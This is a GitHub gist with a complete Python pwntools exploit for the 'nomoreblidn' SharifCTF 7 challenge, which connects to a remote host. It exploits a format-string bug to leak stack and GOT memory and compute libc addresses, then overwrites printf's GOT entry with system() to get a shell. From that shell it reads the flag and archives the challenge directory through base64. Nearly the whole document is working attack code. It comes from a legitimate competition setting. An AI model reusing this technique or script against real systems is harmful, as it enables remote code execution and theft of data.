Skip to content

Instantly share code, notes, and snippets.

@f0rki
Created March 15, 2017 21:31
Show Gist options
  • Save f0rki/2365ea97cf19e9a3e9ed10f8d7b0481c to your computer and use it in GitHub Desktop.
Save f0rki/2365ea97cf19e9a3e9ed10f8d7b0481c to your computer and use it in GitHub Desktop.
full exploit for nomoreblidn from sharifctf 7
#!/usr/bin/env python
import gc
import pwnlib # NOQA
from pwn import * # NOQA
context.arch = "i386"
context.os = "linux"
vp = None
def make_new_remote():
global vp
if vp:
vp.close()
vp = remote("ctf.sharif.edu", 54518)
def dump_stack(at=None, n=2048):
log.debug("dump stack starting at {} for {} bytes"
.format(1 if not at else at, n))
pl = ""
if at:
for i in range(n // 4):
pl += "%{}$p.".format(at + i)
else:
pl = ".%p" * (n // 4)
vp.sendline(pl)
vp.readline()
# vp.readline()
x = vp.readline().strip().strip(".")
stack_leak = x.split(".")[1:]
stack_leak = map(lambda y: 0 if "nil" in y else int(y, 16), stack_leak)
return stack_leak
def word_at_offset(off):
pl = "%{}$p".format(off)
vp.sendline(pl)
y = vp.readline().strip()
return 0 if "nil" in y else int(y, 16)
def leak_from_offset(off):
# log.info("offset {} is 0x{:x}".format(off, sl[off - 1]))
pl = "MAGI%{}$sCVAL".format(off)
vp.sendline(pl)
data = vp.recvuntil("CVAL")
return data[(data.find("MAGI") + 4):data.find("CVAL")]
# base_addr = 0x08000000
base_addr = 0x08048000
make_new_remote()
@pwnlib.memleak.MemLeak.NoNewlines
def fmtleaker(addr):
log.debug("leaking addr 0x{:x}".format(addr))
pl = "ABCD%7$sDCBA"
pl += p32(addr)
pl += "\x00" * 4
if "\n" in pl:
log.warning("newline in payload!")
return None
vp.sendline(pl)
vp.readline()
x = vp.recv()
if x:
f = x.find("ABCD") + 4
l = x.find("DCBA")
res = x[f:l]
if res == "":
return "\x00"
else:
return res
return ""
N = 128
sl = dump_stack(n=N)
# for i in range(N, (4096 + 256), N):
# sl += dump_stack(n=N, at=((i // 4) + 1))
# log.info("\n".join(("{}: {}".format(i, hex(s))
# for i,s in enumerate(sl) if s > 0)))
slb = "".join(map(p32, sl))
log.info(hexdump(slb))
pl = cyclic(4 * 15)
pl += ".%10$p"
pl += ".%11$p"
pl += ".%12$p"
pl += ".%13$p"
vp.sendline(pl)
vp.recvline()
x = vp.recvline()
log.info(hexdump(x))
log.info(repr(x))
# log.info(hexdump(fmtleaker.n(base_addr, 10)))
"""
leaked = ""
if os.path.exists("./out.elf"):
with open("./out.elf") as f:
leaked = f.read()
log.info("read previously leaked elf bytes {}".format(len(leaked)))
try:
while len(leaked) < 32000:
addr = base_addr + len(leaked)
x = fmtleaker(addr)
if x:
leaked += x
else:
leaked += "\xff"
# if len(leaked) % 32 == 0:
# log.info(hexdump(leaked))
if len(leaked) % 64 == 0:
log.info(str(len(leaked)) + "\n" + hexdump(leaked))
log.info("saving in the middle")
gc.collect()
with open("out.elf", "wb") as f:
f.write(leaked)
gc.collect()
finally:
log.info("saving final")
with open("out.elf", "wb") as f:
f.write(leaked)
"""
# velf = ELF("./out.elf")
printf_got = 0x0804995c
fflush_got = 0x08049960
fgets_got = 0x08049964
printf_leaked = fmtleaker.d(printf_got)
fgets_leaked = fmtleaker.d(fgets_got)
log.info("printf 0x{:x}".format(printf_leaked))
# log.info("fflush 0x{:x}".format(fflush_leaked))
log.info("fgets 0x{:x}".format(fgets_leaked))
"""
with context.local(log_level='info'):
de = DynELF(fmtleaker, printf_leaked)
system0 = de.lookup("system", "libc")
system = system0
log.info("found system 0x{:x}".format(system))
"""
# build id: 5ab6a00d805f696b8aa6d0d2ee29d511b41499d1
printf_to_system = 0xf7574c70 - 0xf75663e0
system = printf_leaked + printf_to_system
log.info("system should be at 0x{:x}".format(system))
libc = ELF("./libc-2.19.so")
libc_base = fgets_leaked - libc.symbols["fgets"]
libc.address = libc_base
system = libc.symbols['system']
log.info("found system 0x{:x}".format(system))
target = printf_got
target_hi = target + 2
system_hi = (system & 0xffff0000) >> 16
target_lo = target
system_lo = (system & 0xffff)
log.info("system_hi 0x{:x} system_lo 0x{:x}"
.format(system_hi, system_lo))
o = 14
fmt2 = ""
fmt2 += "%{}$s".format(o)
fmt2 += "\xff"
fmt2 += "%{}$s".format(o + 1)
fmt2 += "\xff"
fmt2 += "\x00" * (28)
fmt2 += p32(target_lo)
fmt2 += p32(target_hi)
log.info(hexdump(fmt2))
vp.sendline(fmt2)
vp.recvline()
log.info(hexdump(vp.recvuntil("\xff")))
log.info(hexdump(vp.recvuntil("\xff")))
o = 14
addr_hi = "%{}$hn".format(o + 1)
addr_lo = "%{}$hn".format(o)
if target_lo > target_hi:
fmt = ""
fmt += "%1${}c".format(system_hi)
fmt += addr_hi
fmt += "%1${}c".format(system_lo - system_hi)
fmt += addr_lo
else:
fmt = ""
fmt += "%1${}c".format(system_lo)
fmt += addr_lo
fmt += "%1${}c".format(system_hi - system_lo)
fmt += addr_hi
fmt += "\xff%{}$s\xff".format(o)
# fmt += "\x00" * (len(fmt) % 4)
fmt += "\x00" * 3
fmt += p32(target_lo)
fmt += p32(target_hi)
log.info("fmt payload len = {}\n{}\n{}".format(len(fmt), repr(fmt), hexdump(fmt)))
assert len(fmt) % 4 == 0
if "\n" in fmt:
log.error("newlines in formatstr:\n" + hexdump(fmt))
# vp.interactive()
vp.sendline(fmt)
i = 0
full = (max([system_lo, system_hi]))
with context.local(log_level='info'):
prog = log.progress("reading back fmt")
while i < full:
x = vp.recv(8096, timeout=0.2)
i += len(x)
prog.status("{} / {}".format(i, full))
prog.success("done")
log.info("last block:\n" + hexdump(x))
vp.sendline("/bin/sh")
vp.sendline("id;pwd;ls -al")
vp.sendline("cd /home/rooney/suctf/NoMoreBlind")
vp.sendline("cat flag")
vp.interactive()
vp.sendline("cd /home/rooney/suctf/NoMoreBlind")
vp.sendline("tar cz . | base64; exit")
l = ""
x = vp.recv(8096, timeout=0.5)
l = x
while x:
x = vp.recv(8096, timeout=0.5)
l += x
with open("./nomore.leaked.tar.gz.b64", "wb") as f:
f.write(l)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment